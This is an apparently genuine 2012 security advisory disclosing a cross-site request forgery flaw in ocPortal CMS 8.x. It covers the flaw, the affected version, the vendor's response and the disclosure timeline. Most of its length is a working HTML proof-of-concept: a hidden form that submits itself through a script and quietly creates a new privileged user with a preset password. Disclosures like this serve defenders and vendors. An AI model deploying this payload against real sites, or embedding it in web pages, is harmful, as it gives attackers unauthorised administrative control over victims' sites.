ocPortal CMS 8.x Cross Site Request Forgery

`1. OVERVIEW  
  
ocPoral CMS 8.x and lower versions are vulnerable to Cross-site  
Request Forgery (CSRF / XSRF).  
  
  
2. PRODUCT DESCRIPTION  
  
ocPortal is the website Content Management System (a CMS) for building  
and maintaining a dynamic website. ocPortal's powerful feature-set  
means there's always a way to accomplish your vision. Not only does  
ocPortal's CMS have all the features you'd expect: for instance photo  
galleries, news, file downloads and community forums/chats, but it  
does so whilst meeting the highest accessibility and professional  
standards. It is also smart enough to go beyond page management, to  
automatically handle search engine optimisation, and provide  
aggressive hack attack prevention.  
  
  
3. VULNERABILITY DESCRIPTION  
  
ocPoral CMS 8.x and lower versions contain a flaw that allows a remote  
Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists  
because the application does not require multiple steps or explicit  
confirmation for sensitive transactions for majority of administrator  
functions such as adding new user, downgrading security  
settings,..etc. By using a crafted URL, an attacker may trick the  
victim into visiting to his web page to take advantage of the trust  
relationship between the authenticated victim and the application.  
Such an attack could trick the victim into executing arbitrary  
commands in the context of their session with the application, without  
further prompting or verification.  
  
  
4. VERSIONS AFFECTED  
  
Tested on version 8.1.2  
  
  
5. PROOF-OF-CONCEPT/EXPLOIT  
  
The following CSRF payload would add new admin user.  
  
[HTML]  
<form action="http://localhost/ocPortal/adminzone/index.php?page=admin_ocf_join&type=step2"  
method="POST">  
<input type="hidden"  
name="label_for__custom_1_value"  
value="About me" />  
<input type="hidden"  
name="label_for__custom_2_value"  
value="Skype ID" />  
<input type="hidden"  
name="label_for__custom_3_value"  
value="Facebook profile" />  
<input type="hidden"  
name="label_for__custom_4_value"  
value="Google+ profile" />  
<input type="hidden"  
name="label_for__custom_5_value"  
value="Twitter account" />  
<input type="hidden"  
name="label_for__custom_6_value" value="Interests"  
/>  
<input type="hidden"  
name="label_for__custom_7_value" value="Location"  
/>  
<input type="hidden"  
name="label_for__custom_8_value"  
value="Occupation" />  
<input type="hidden"  
name="label_for__custom_9_value"  
value="Staff notes" />  
<input type="hidden"  
name="label_for__custom_21_value"  
value="First name" />  
<input type="hidden"  
name="label_for__custom_22_value"  
value="Last name" />  
<input type="hidden"  
name="label_for__custom_23_value"  
value="Street address" />  
<input type="hidden"  
name="label_for__custom_24_value" value="City" />  
<input type="hidden"  
name="label_for__custom_25_value" value="State" />  
<input type="hidden"  
name="label_for__custom_26_value"  
value="Post code / Zip code" />  
<input type="hidden"  
name="label_for__custom_27_value" value="Country"  
/>  
<input type="hidden" name="label_for__username"  
value="Username" />  
<input type="hidden" name="username" value="hax0r1" />  
<input type="hidden" name="require__username" value="1" />  
<input type="hidden" name="label_for__password"  
value="Password" />  
<input type="hidden" name="password" value="p#ssw!123" />  
<input type="hidden" name="require__password" value="0" />  
<input type="hidden" name="password_confirm"  
value="p#ssw!123" />  
<input type="hidden"  
name="require__password_confirm" value="0" />  
<input type="hidden" name="email_address"  
value="[email protected]" />  
<input type="hidden" name="require__email_address"  
value="0" />  
<input type="hidden" name="dob_day" value="1" />  
<input type="hidden" name="dob_month" value="1" />  
<input type="hidden" name="dob_year" value="1882" />  
<input type="hidden" name="require__dob" value="0" />  
<input type="hidden"  
name="label_for__reveal_age"  
value="› Reveal age" />  
<input type="hidden"  
name="tick_on_form__reveal_age" value="0" />  
<input type="hidden" name="require__reveal_age" value="0" />  
<input type="hidden" name="label_for__timezone"  
value="Time zone" />  
<input type="hidden" name="timezone" value="America/New_York" />  
<input type="hidden" name="require__timezone" value="1" />  
<input type="hidden"  
name="label_for__allow_emails"  
value="Receive e-mails from other members" />  
<input type="hidden" name="allow_emails" value="1" />  
<input type="hidden"  
name="tick_on_form__allow_emails" value="0" />  
<input type="hidden" name="require__allow_emails" value="0" />  
<input type="hidden" name="label_for__zone_wide"  
value="Opt to hide the left/right navigation"  
/>  
<input type="hidden" name="zone_wide" value="1" />  
<input type="hidden"  
name="tick_on_form__zone_wide" value="0" />  
<input type="hidden" name="require__zone_wide" value="0" />  
<input type="hidden" name="label_for__theme" value="Theme" />  
<input type="hidden" name="theme" value="-1" />  
<input type="hidden" name="require__theme" value="1" />  
<input type="hidden"  
name="label_for__views_signatures"  
value="View signatures" />  
<input type="hidden" name="views_signatures" value="1" />  
<input type="hidden"  
name="tick_on_form__views_signatures" value="0" />  
<input type="hidden"  
name="require__views_signatures" value="0" />  
<input type="hidden" name="label_for__pt_allow"  
value="Allow Private Topics from" />  
<input type="hidden" name="pt_allow[]" value="2" />  
<input type="hidden" name="pt_allow[]" value="3" />  
<input type="hidden" name="pt_allow[]" value="4" />  
<input type="hidden" name="pt_allow[]" value="5" />  
<input type="hidden" name="pt_allow[]" value="6" />  
<input type="hidden" name="pt_allow[]" value="7" />  
<input type="hidden" name="pt_allow[]" value="8" />  
<input type="hidden" name="pt_allow[]" value="9" />  
<input type="hidden" name="pt_allow[]" value="10" />  
<input type="hidden" name="require__pt_allow" value="0" />  
<input type="hidden"  
name="comcode__pt_rules_text" value="1" />  
<input type="hidden"  
name="label_for__pt_rules_text"  
value="Private Topic guidelines" />  
<input type="hidden" name="pt_rules_text" value="" />  
<input type="hidden" name="pt_rules_text_parsed" value="" />  
<input type="hidden"  
name="label_for__on_probation_until"  
value="On probation until" />  
<input type="hidden" name="on_probation_until_day" value="" />  
<input type="hidden" name="on_probation_until_month"  
value="" />  
<input type="hidden" name="on_probation_until_year"  
value="" />  
<input type="hidden" name="on_probation_until_hour"  
value="" />  
<input type="hidden"  
name="on_probation_until_minute" value="" />  
<input type="hidden"  
name="require__on_probation_until" value="0" />  
<input type="hidden"  
name="label_for__primary_group"  
value="Primary usergroup" />  
<input type="hidden" name="primary_group" value="2" />  
<input type="hidden" name="require__primary_group"  
value="1" />  
<input type="hidden"  
name="label_for__secondary_groups"  
value="Additional usergroup membership" />  
<input type="hidden"  
name="require__secondary_groups" value="0" />  
<input type="hidden" name="label_for__validated"  
value="Validated" />  
<input type="hidden" name="validated" value="1" />  
<input type="hidden"  
name="tick_on_form__validated" value="0" />  
<input type="hidden" name="require__validated" value="0" />  
<input type="hidden"  
name="label_for__highlighted_name"  
value="Highlighted name" />  
<input type="hidden"  
name="tick_on_form__highlighted_name" value="0" />  
<input type="hidden"  
name="require__highlighted_name" value="0" />  
<input type="hidden" name="comcode__field_1" value="1" />  
<input type="hidden" name="label_for__field_1"  
value="About me" />  
<input type="hidden" name="field_1" value="" />  
<input type="hidden" name="field_1_parsed" value="" />  
<input type="hidden" name="label_for__field_2"  
value="Skype ID" />  
<input type="hidden" name="field_2" value="" />  
<input type="hidden" name="require__field_2" value="0" />  
<input type="hidden" name="label_for__field_3"  
value="Facebook profile" />  
<input type="hidden" name="field_3" value="" />  
<input type="hidden" name="require__field_3" value="0" />  
<input type="hidden" name="label_for__field_4"  
value="Google+ profile" />  
<input type="hidden" name="field_4" value="" />  
<input type="hidden" name="require__field_4" value="0" />  
<input type="hidden" name="label_for__field_5"  
value="Twitter account" />  
<input type="hidden" name="field_5" value="" />  
<input type="hidden" name="require__field_5" value="0" />  
<input type="hidden" name="comcode__field_6" value="1" />  
<input type="hidden" name="label_for__field_6"  
value="Interests" />  
<input type="hidden" name="field_6" value="" />  
<input type="hidden" name="field_6_parsed" value="" />  
<input type="hidden" name="label_for__field_7"  
value="Location" />  
<input type="hidden" name="field_7" value="" />  
<input type="hidden" name="require__field_7" value="0" />  
<input type="hidden" name="label_for__field_8"  
value="Occupation" />  
<input type="hidden" name="field_8" value="" />  
<input type="hidden" name="require__field_8" value="0" />  
<input type="hidden" name="comcode__field_9" value="1" />  
<input type="hidden" name="label_for__field_9"  
value="Staff notes" />  
<input type="hidden" name="field_9" value="" />  
<input type="hidden" name="field_9_parsed" value="" />  
<input type="hidden" name="field_21" value="" />  
<input type="hidden" name="require__field_21" value="0" />  
<input type="hidden" name="field_22" value="" />  
<input type="hidden" name="require__field_22" value="0" />  
<input type="hidden" name="field_23" value="" />  
<input type="hidden" name="pre_f_field_23" value="1" />  
<input type="hidden" name="require__field_23" value="0" />  
<input type="hidden" name="field_24" value="" />  
<input type="hidden" name="require__field_24" value="0" />  
<input type="hidden" name="field_25" value="" />  
<input type="hidden" name="require__field_25" value="0" />  
<input type="hidden" name="field_26" value="" />  
<input type="hidden" name="require__field_26" value="0" />  
<input type="hidden" name="field_27" value="" />  
<input type="hidden" name="require__field_27" value="0" />  
<input type="hidden" name="http_referer"  
value="http://localhost" />  
<input type="hidden"  
name="pt_rules_text__is_wysiwyg" value="1" />  
<input type="hidden" name="field_1__is_wysiwyg"  
value="1" />  
<input type="hidden" name="field_6__is_wysiwyg"  
value="1" />  
<input type="hidden" name="field_9__is_wysiwyg"  
value="1" />  
<input type="submit" value="Submit form" />  
</form>  
<script>  
document.forms[0].submit();  
</script>  
[/HTML]  
  
  
6. SOLUTION  
  
No fix is available as of 2012-08-19.  
Workaround is not to visit third-party web sites while  
administratoring the ocportal application.  
  
  
7. VENDOR  
  
ocPortal Development Team  
http://www.ocportal.com/  
  
  
8. CREDIT  
  
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN  
Ethical Hacker Group, Myanmar.  
  
  
9. DISCLOSURE TIME-LINE  
  
2012-07-29: notified vendor, vendor did not plan to release fix  
because of default deployed referer check  
2012-08-19: vulnerability disclosed  
  
  
10. REFERENCES  
  
Original Advisory URL:  
http://yehg.net/lab/pr0js/advisories/%5Bocportal_8x%5D_csrf  
  
  
#yehg [2012-08-19]  
`